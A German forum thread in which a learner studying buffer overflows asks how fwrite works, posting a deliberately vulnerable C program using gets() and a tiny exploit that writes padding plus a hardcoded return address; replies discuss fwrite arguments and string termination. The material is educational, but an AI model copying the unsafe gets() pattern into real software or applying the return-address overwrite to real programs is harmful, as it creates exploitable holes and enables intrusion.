Frage zu Bufferoverflow
-
Hallo ich beschäftige mich gerade mit Buffer Overflows.
http://www.zotteljedi.de/documents/stacksmashing.pdf
Nun zu meiner Frage:
Was genau macht fwrite ?
fwrite(&eip, 1, 4, stdout)
Hier steht:
http://www.cplusplus.com/reference/clibrary/cstdio/fwrite/Write block of data to stream
Writes an array of count elements, each one with a size of size bytes, from the block of memory pointed by ptr to the current position in the stream.
The postion indicator of the stream is advanced by the total number of bytes
written.
The total amount of bytes written is (size * count).So hab ich das jetzt mit dem fwrite verstanden aber ist das so richtig ?
#include <stdio.h> int main () { FILE * pFile; char buffer[] = { 'x' , 'y' , 'z' }; pFile = fopen ( "myfile.txt" , "wb" ); fwrite (buffer , 1 ,3 , pFile ); // die 3 steht für die anzahl der zeichen die in die datei geschrieben werden // char buffer[] = { 'x' , 'y' , 'z' }; = 3 zeichen x y z // buffer = die daten welche in die datei geschrieben werden sollen // pFile = sagt dem programm in welche datei es die daten schreiben soll // steht die 1 jetzt dafür weil z.b. buffer[0] = x ist ? // x = 1 zeichen fclose (pFile); return 0; }
Vul.exe
#include <stdio.h> #include <string.h> int ask_user(void) { int ret; char name[10]; printf("Name: "); fflush(stdout); gets(name); ret = strcmp(name, "abc"); if (ret == 0) return 1; return 0; } int main(int argc, char *argv[]) { int is_name; is_name = ask_user(); if (is_name == 1) { printf("ok\n"); getch(); return 0; } printf("error\n"); getch(); return 0; }
Exploit.exe
#include <stdio.h> int main(void) { unsigned eip = 0x004011CB; int i; for (i = 0; i < 20; i++) putchar('A'); fwrite(&eip, 1, 4, stdout); return 0; }
-
Sieht doch ganz gut aus. Die 1 steht für die Länge eines Elementes des zu schreibenden Arrays. Am besten solltest du da sizeof(buffer[0]) oder so schreiben.
Übrigens kannst du statt
char buffer[] = { 'x' , 'y' , 'z' };
auch
char buffer[] = "xyz";
schreiben. Sieht schöner aus und schont die Finger.
-
_matze schrieb:
Übrigens kannst du statt
char buffer[] = { 'x' , 'y' , 'z' };
auch
char buffer[] = "xyz";
schreiben. Sieht schöner aus und schont die Finger.
...und hat ein byte zuviel.
-
Sieht schöner aus und schont die Finger.
Ist das zweite nicht 0 terminiert und das erste nicht?
edit: ... zu langsam
-
Klar, stimmt. Dann müsste er eigentlich
fwrite(buffer,sizeof(buffer[0],(sizeof(buffer)-1)*sizeof(buffer[0]),pFile);
schreiben, wobei sich das mit dem Fingerschonen schon wieder relativiert...
-
_matze schrieb:
Klar, stimmt. Dann müsste er eigentlich
fwrite(buffer,sizeof(buffer[0],(sizeof(buffer)-1)*sizeof(buffer[0]),pFile);
schreiben, wobei sich das mit dem Fingerschonen schon wieder relativiert...
quatsch, einfach: fwrite (buffer, 1, sizeof(buffer), file);
'ne 1 passt immer. intern wird beides doch sowie nur multipliziert.